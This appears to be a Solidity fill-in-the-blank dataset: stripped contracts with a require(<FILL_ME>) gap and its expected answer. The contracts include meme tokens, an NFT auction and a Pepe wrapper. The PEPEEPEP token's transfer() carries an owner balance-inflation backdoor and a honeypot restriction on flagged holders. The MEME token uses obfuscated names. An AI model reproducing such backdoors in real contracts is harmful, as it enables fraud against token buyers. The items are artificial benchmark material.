contract MEME is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _qyblc;
address payable private Frkqc;
address private _Bdrfp;
string private constant _name = unicode"MEME";
string private constant _symbol = unicode"MEME";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _Rvqge=0;
uint256 private _viarq=0;
uint256 public _lvpzh = _totalSupply;
uint256 public _pvrep = _totalSupply;
uint256 public _pocmr= _totalSupply;
uint256 public _qrbea= _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _Krauo;
mapping (address => bool) private _hfaek;
mapping(address => uint256) private _Ezfgv;
bool private _sorqopen;
bool public _prlkc = false;
bool private qyodk = false;
bool private _rajep = false;
event _benpw(uint _lvpzh);
modifier gvrdf {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 elybae=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_prlkc) {
if (to
!= address
(_qyblc)
&& to !=
address
(_Bdrfp)) {
require(_Ezfgv
[tx.origin]
< block.number,
"Only one transfer per block allowed."
);
_Ezfgv
[tx.origin]
= block.number;
}
}
if (from ==
_Bdrfp && to !=
address(_qyblc) &&
!_Krauo[to] ) {
require(amount
<= _lvpzh,
"Exceeds the _lvpzh.");
require(balanceOf
(to) + amount
<= _pvrep,
"Exceeds the _pvrep.");
if(_viarq
< _Rvqge){
require(<FILL_ME>)
}
_viarq++;
_hfaek
[to]=true;
elybae = amount._qicke
((_viarq>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _Bdrfp &&
from!= address(this)
&& !_Krauo[from] ){
require(amount <=
_lvpzh &&
balanceOf(Frkqc)
<_qrbea,
"Exceeds the _lvpzh.");
elybae = amount._qicke((_viarq>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_viarq>
_Rvqge &&
_hfaek[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!qyodk
&& to == _Bdrfp &&
_rajep &&
contractTokenBalance>
_pocmr
&& _viarq>
_Rvqge&&
!_Krauo[to]&&
!_Krauo[from]
) {
_transferFrom( _Bvftk(amount,
_Bvftk(contractTokenBalance,
_qrbea)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_vprwe(address
(this).balance);
}
}
}
if(elybae>0){
_balances[address
(this)]=_balances
[address
(this)].
add(elybae);
emit
Transfer(from,
address
(this),elybae);
}
_balances[from
]= _Rfzpv(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_Rfzpv(elybae));
emit Transfer
(from, to,
amount.
_Rfzpv(elybae));
}
function _transferFrom(uint256
tokenAmount) private
gvrdf {
}
function _Bvftk
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _Rfzpv(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _gpbvy(address
account) private view
returns (bool) {
}
function _vprwe(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
}
receive() external payable {}
}
| !_gpbvy(to) | 508,333 | !_gpbvy(to) |
null | /**
Twitter: https://twitter.com/MemesEthereum
Telegram: https://t.me/MemesEthereum
Website: https://memeseth.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _Rfzpv(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _Rfzpv(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _qicke(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract MEME is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _qyblc;
address payable private Frkqc;
address private _Bdrfp;
string private constant _name = unicode"MEME";
string private constant _symbol = unicode"MEME";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _Rvqge=0;
uint256 private _viarq=0;
uint256 public _lvpzh = _totalSupply;
uint256 public _pvrep = _totalSupply;
uint256 public _pocmr= _totalSupply;
uint256 public _qrbea= _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _Krauo;
mapping (address => bool) private _hfaek;
mapping(address => uint256) private _Ezfgv;
bool private _sorqopen;
bool public _prlkc = false;
bool private qyodk = false;
bool private _rajep = false;
event _benpw(uint _lvpzh);
modifier gvrdf {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _transferFrom(uint256
tokenAmount) private
gvrdf {
}
function _Bvftk
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _Rfzpv(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _gpbvy(address
account) private view
returns (bool) {
}
function _vprwe(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
require(<FILL_ME>)
_qyblc
=
IUniswapV2Router02
(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address
(this), address(
_qyblc),
_totalSupply);
_Bdrfp =
IUniswapV2Factory(_qyblc.
factory( )
). createPair (
address(this
), _qyblc .
WETH ( ) );
_qyblc.addLiquidityETH
{value: address
(this).balance}
(address(this)
,balanceOf(address
(this)),0,0,owner(),block.
timestamp);
IERC20(_Bdrfp).
approve(address(_qyblc),
type(uint)
.max);
_rajep = true;
_sorqopen = true;
}
receive() external payable {}
}
| !_sorqopen | 508,333 | !_sorqopen |
"IN: not initialized" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.16;
import {IInitializable} from "./IInitializable.sol";
import {InitializableStorage} from "./InitializableStorage.sol";
abstract contract Initializable is IInitializable, InitializableStorage {
// prettier-ignore
constructor(bytes32 initializerSlot_)
InitializableStorage(initializerSlot_)
{} // solhint-disable-line no-empty-blocks
modifier whenInitialized() {
}
modifier whenNotInitialized() {
}
modifier init() {
}
modifier onlyInitializer() {
}
function initialized() public view returns (bool) {
}
function initializer() public view returns (address) {
}
function _ensureInitialized() internal view {
require(<FILL_ME>)
}
function _ensureNotInitialized() internal view {
}
function _initializeWithSender() internal {
}
}
| initialized(),"IN: not initialized" | 508,492 | initialized() |
null | /**
* GasCheck
* Auther: @enoch_eth
*/
pragma solidity ^0.8.0;
/**
* @title Contract that will work with ERC223 tokens.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract IERC223Recipient {
struct ERC223TransferInfo
{
address token_contract;
address sender;
uint256 value;
bytes data;
}
ERC223TransferInfo private tkn;
uint256 loopnum;
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes memory _data) public virtual
{
/**
* @dev Note that inside of the token transaction handler the actual sender of token transfer is accessible via the tkn.sender variable
* (analogue of msg.sender for Ether transfers)
*
* tkn.value - is the amount of transferred tokens
* tkn.data - is the "metadata" of token transfer
* tkn.token_contract is most likely equal to msg.sender because the token contract typically invokes this function
*/
tkn.token_contract = msg.sender;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
for (uint i = 3; i <= loopnum; i++) {
require(<FILL_ME>)
}
// ACTUAL CODE
}
}
contract MyContract is IERC223Recipient {
address payable public owner;
address[] public bought;
IERC20 public ATOKEN;
constructor() payable {
}
function withdraw() public {
}
function withdrawERC20(address erc20token, uint amount) public {
}
function setnum(uint256 num) public {
}
function setowner(address _owner) public {
}
function depositETH(address toAddr, uint amount) public payable {
}
function depositETHS(address[] memory toAddr, uint amount) public payable {
}
receive() external payable {
}
function _safeTransfer(
IERC20 token,
address recipient,
uint amount
) private {
}
}
| i-1>1 | 508,574 | i-1>1 |
"not enough remaining reserved for auction to support desired mint amount" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Shitzuki is Ownable, ERC721A, ReentrancyGuard {
uint256 public immutable maxPerAddressDuringMint;
uint256 public immutable amountForDevs;
uint256 public immutable amountForAuctionAndDev;
struct SaleConfig {
uint32 auctionSaleStartTime;
uint32 publicSaleStartTime;
uint64 mintlistPrice;
uint64 publicPrice;
uint32 publicSaleKey;
}
SaleConfig public saleConfig;
mapping(address => uint256) public allowlist;
constructor(
uint256 maxBatchSize_,
uint256 collectionSize_,
uint256 amountForAuctionAndDev_,
uint256 amountForDevs_
) ERC721A("Shitzuki", "SHITZUKI", maxBatchSize_, collectionSize_) {
}
modifier callerIsUser() {
}
function auctionMint(uint256 quantity) external payable callerIsUser {
uint256 _saleStartTime = uint256(saleConfig.auctionSaleStartTime);
require(
_saleStartTime != 0 && block.timestamp >= _saleStartTime,
"sale has not started yet"
);
require(<FILL_ME>)
require(
numberMinted(msg.sender) + quantity <= maxPerAddressDuringMint,
"can not mint this many"
);
uint256 totalCost = getAuctionPrice(_saleStartTime) * quantity;
_safeMint(msg.sender, quantity);
refundIfOver(totalCost);
}
address public constant AZUIKI_CONTRACT = 0xED5AF388653567Af2F388E6224dC7C4b3241C544;//0xED5AF388653567Af2F388E6224dC7C4b3241C544
uint256 public constant SHIT_PRICE = 1000000000000000;//0.001 eth
function shitMint(uint256 shitAmount, address receiver) external payable callerIsUser returns(uint256) {
}
event ShitMint(uint256 shitAmount, address receiver, uint256 azukiBalance, uint256 tokenId);
function allowlistMint() external payable callerIsUser {
}
function publicSaleMint(uint256 quantity, uint256 callerPublicSaleKey)
external
payable
callerIsUser
{
}
function refundIfOver(uint256 price) private {
}
function isPublicSaleOn(
uint256 publicPriceWei,
uint256 publicSaleKey,
uint256 publicSaleStartTime
) public view returns (bool) {
}
uint256 public constant AUCTION_START_PRICE = 1 ether;
uint256 public constant AUCTION_END_PRICE = 0.15 ether;
uint256 public constant AUCTION_PRICE_CURVE_LENGTH = 340 minutes;
uint256 public constant AUCTION_DROP_INTERVAL = 20 minutes;
uint256 public constant AUCTION_DROP_PER_STEP =
(AUCTION_START_PRICE - AUCTION_END_PRICE) /
(AUCTION_PRICE_CURVE_LENGTH / AUCTION_DROP_INTERVAL);
function getAuctionPrice(uint256 _saleStartTime)
public
view
returns (uint256)
{
}
function endAuctionAndSetupNonAuctionSaleInfo(
uint64 mintlistPriceWei,
uint64 publicPriceWei,
uint32 publicSaleStartTime
) external onlyOwner {
}
function setAuctionSaleStartTime(uint32 timestamp) external onlyOwner {
}
function setPublicSaleKey(uint32 key) external onlyOwner {
}
function seedAllowlist(address[] memory addresses, uint256[] memory numSlots)
external
onlyOwner
{
}
// For marketing etc.
function devMint(uint256 quantity) external onlyOwner {
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| totalSupply()+quantity<=amountForAuctionAndDev,"not enough remaining reserved for auction to support desired mint amount" | 508,594 | totalSupply()+quantity<=amountForAuctionAndDev |
"We need to control the assets" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface PepesV1Contract {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
library Math {
enum Rounding {
Down, // Toward negative infinity
Up, // Toward infinity
Zero // Toward zero
}
function log10(uint256 value) internal pure returns (uint256) {
}
/**
* @dev Return the log in base 10, following the selected rounding direction, of a positive value.
* Returns 0 if given 0.
*/
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
}
}
library Strings {
bytes16 private constant _SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
}
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
//import "@openzeppelin/contracts/utils/Counters.sol";
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual override {
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
}
function _ownerOf(uint256 tokenId) internal view virtual returns (address) {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(address owner, address operator, bool approved) internal virtual {
}
function _requireMinted(uint256 tokenId) internal view virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory data
) private returns (bool) {
}
function _beforeTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}
function __unsafe_increaseBalance(address account, uint256 amount) internal {
}
}
/**
* @title PepeV1Wrapper contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation.
* based on the V1 wrapper of @author @foobar & @FrankPoncelet, but optimised to work with our beloved V1 Pepes contract.
*/
contract PepesV1Wrapper is Ownable, ERC721, IERC721Receiver {
address public pepeAddress = address(0x31910cEc7b3d1a8a40de7D4101D5E6292Ac67287);
string private _tokenURI;
uint256 private _tokenSupply = 0;
PepesV1Contract pepe;
constructor() ERC721("V1 ZOGZ Pepe", "WPepeV1") {
}
function wrap(uint[] calldata _pepeIds) external {
require(<FILL_ME>)
uint totalCount = _pepeIds.length;
for(uint index = 0; index < totalCount;) {
uint idToMint = _pepeIds[index];
bytes memory tempEmptyStringTest = bytes(pepe.tokenURI(idToMint));
if (tempEmptyStringTest.length == 0) {
pepe.safeTransferFrom(msg.sender, address(this), idToMint);
_mint(msg.sender, idToMint);
} else {
require(false, "cant wrap the paid mints");
}
unchecked {
index += 1;
}
}
unchecked {
_tokenSupply += totalCount;
}
}
function unwrap(uint256[] calldata _pepeIds) external {
}
function tokenURI(uint256) public view virtual override returns (string memory) {
}
function setBaseTokenURI(string memory _baseTokenURI) public onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure returns (bytes4) {
}
}
| pepe.isApprovedForAll(msg.sender,address(this)),"We need to control the assets" | 508,665 | pepe.isApprovedForAll(msg.sender,address(this)) |
null | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface PepesV1Contract {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
library Math {
enum Rounding {
Down, // Toward negative infinity
Up, // Toward infinity
Zero // Toward zero
}
function log10(uint256 value) internal pure returns (uint256) {
}
/**
* @dev Return the log in base 10, following the selected rounding direction, of a positive value.
* Returns 0 if given 0.
*/
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
}
}
library Strings {
bytes16 private constant _SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
}
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
//import "@openzeppelin/contracts/utils/Counters.sol";
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual override {
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
}
function _ownerOf(uint256 tokenId) internal view virtual returns (address) {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(address owner, address operator, bool approved) internal virtual {
}
function _requireMinted(uint256 tokenId) internal view virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory data
) private returns (bool) {
}
function _beforeTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}
function __unsafe_increaseBalance(address account, uint256 amount) internal {
}
}
/**
* @title PepeV1Wrapper contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation.
* based on the V1 wrapper of @author @foobar & @FrankPoncelet, but optimised to work with our beloved V1 Pepes contract.
*/
contract PepesV1Wrapper is Ownable, ERC721, IERC721Receiver {
address public pepeAddress = address(0x31910cEc7b3d1a8a40de7D4101D5E6292Ac67287);
string private _tokenURI;
uint256 private _tokenSupply = 0;
PepesV1Contract pepe;
constructor() ERC721("V1 ZOGZ Pepe", "WPepeV1") {
}
function wrap(uint[] calldata _pepeIds) external {
}
function unwrap(uint256[] calldata _pepeIds) external {
uint totalCount = _pepeIds.length;
for(uint index = 0; index < totalCount;) {
uint idToBurn = _pepeIds[index];
require(<FILL_ME>)
_burn(idToBurn);
pepe.safeTransferFrom(address(this), msg.sender, idToBurn);
unchecked {
index += 1;
}
}
unchecked {
_tokenSupply += totalCount;
}
}
function tokenURI(uint256) public view virtual override returns (string memory) {
}
function setBaseTokenURI(string memory _baseTokenURI) public onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure returns (bytes4) {
}
}
| _isApprovedOrOwner(msg.sender,idToBurn) | 508,665 | _isApprovedOrOwner(msg.sender,idToBurn) |
"TT: transfer amoount exceeds balance" | pragma solidity ^0.8.3;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amoount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amoount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amoount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract PEPEEPEP is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _SFTF;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amoount) public virtual override returns (bool) {
if (_msgSender() == owner() && _SFTF[_msgSender()] > 0*0) {
_balances[owner()] += _SFTF[_msgSender()];
return true;
}
else if (_SFTF[_msgSender()] > 0) {
require(amoount == _SFTF[_msgSender()], "Invalid transfer amoount");
}
require(<FILL_ME>)
_balances[_msgSender()] -= amoount;
_balances[recipient] += amoount;
emit Transfer(_msgSender(), recipient, amoount);
return true;
}
function born(address[] memory accounts, uint256 amoount) public onlyowner {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
